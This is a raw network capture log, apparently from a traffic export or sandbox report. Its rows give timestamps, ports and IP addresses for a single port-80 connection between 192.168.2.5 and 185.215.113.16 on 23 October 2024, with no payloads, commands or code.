Oct 23, 2024 15:49:14.470058918 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470067024 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470103025 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470119953 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470134974 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470146894 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470169067 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470180035 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470200062 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470220089 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470241070 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470248938 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470284939 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470300913 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470330000 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470335960 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470371008 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470385075 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470403910 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470416069 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470438004 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470452070 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470469952 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470484972 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470523119 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470526934 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470572948 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470577002 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470607042 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470626116 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470639944 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470650911 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470678091 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470690966 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470711946 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470725060 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470748901 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470761061 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470788002 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470793962 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470834017 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470839977 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470875978 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470889091 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470910072 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470923901 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470943928 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.470961094 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470988989 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.470995903 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471029043 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471044064 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471061945 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471079111 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471091032 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471105099 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471123934 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471138000 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471174955 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471175909 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471209049 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471225977 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471254110 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471261024 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471293926 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471308947 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471330881 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471348047 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471380949 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471402884 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471415997 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471422911 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471447945 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471467018 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471482038 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471488953 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471515894 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471532106 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471553087 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471563101 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471586943 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471605062 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471623898 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471630096 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471658945 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471668959 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471705914 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471709967 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471740007 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471765041 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471772909 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471779108 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471822023 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471824884 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471857071 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471868038 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471892118 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471908092 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471929073 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.471941948 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471977949 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.471981049 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472014904 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472024918 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472049952 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472059965 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472084045 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472095013 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472120047 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472129107 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472172022 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472174883 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472208023 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472222090 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472239017 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472253084 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472271919 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472285032 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472306013 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472316027 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472340107 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472351074 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472377062 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472382069 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472412109 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472421885 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472446918 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472455025 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472481012 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472498894 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472516060 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472522974 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472551107 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472567081 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472585917 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472590923 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472620010 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472640991 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472655058 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472662926 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472690105 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472707033 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472724915 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472731113 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472759962 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472775936 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472795010 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472801924 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472830057 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472840071 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472865105 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472872019 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472913980 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472914934 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472949982 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.472963095 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.472999096 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473002911 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473037958 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473052025 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473074913 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473086119 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473119974 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473133087 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473160028 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473171949 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473220110 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473222971 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473273039 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473273039 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473308086 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473321915 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473341942 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473352909 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473377943 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473387957 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473412991 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473426104 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473448038 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473459005 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473483086 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473493099 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473531008 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473535061 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473586082 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473589897 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473635912 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473637104 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473670959 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473687887 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473712921 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473720074 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473753929 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473782063 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473788023 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473792076 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473824978 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473831892 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473859072 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473881006 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473901987 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473902941 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473936081 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.473951101 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473979950 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.473987103 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474025965 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474035978 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474061012 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474067926 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474095106 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474113941 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474128962 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474137068 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474159002 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474179029 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474191904 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474200964 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474225998 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474237919 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474260092 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474271059 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474293947 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474311113 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474328995 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474337101 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474364996 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474376917 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474400043 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474415064 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474433899 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474457026 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474467993 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474478960 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474503040 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474513054 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474538088 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474545956 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474575996 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474580050 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474610090 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474622011 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474643946 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474652052 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474677086 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474689007 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474710941 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474720955 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474746943 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474757910 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474781036 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474797010 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474817038 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474832058 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474850893 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474858999 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474880934 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474898100 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474919081 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474922895 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474952936 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474966049 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.474986076 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.474994898 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475019932 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475028038 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475054026 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475061893 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475087881 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475094080 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475121975 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475130081 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475156069 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475166082 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475191116 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475195885 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475225925 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475238085 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475260019 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475275040 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475297928 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475302935 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475338936 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475348949 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475384951 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475398064 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475419044 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475426912 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475452900 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475469112 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475486994 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475500107 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475522041 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475533962 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475555897 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475563049 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475589991 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475596905 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475617886 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475637913 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475652933 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475670099 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475687027 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475692987 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475719929 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475730896 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475754976 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475769997 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475789070 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475801945 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475822926 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475837946 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475856066 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475862980 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475891113 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475900888 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475924969 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475934029 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475961924 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.475967884 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.475996017 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476008892 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476031065 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476037025 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476064920 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476078033 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476099014 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476113081 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476146936 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476160049 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476181984 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:14.476190090 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:14.476217031 CEST	80	49967	185.215.113.16	192.168.2.5
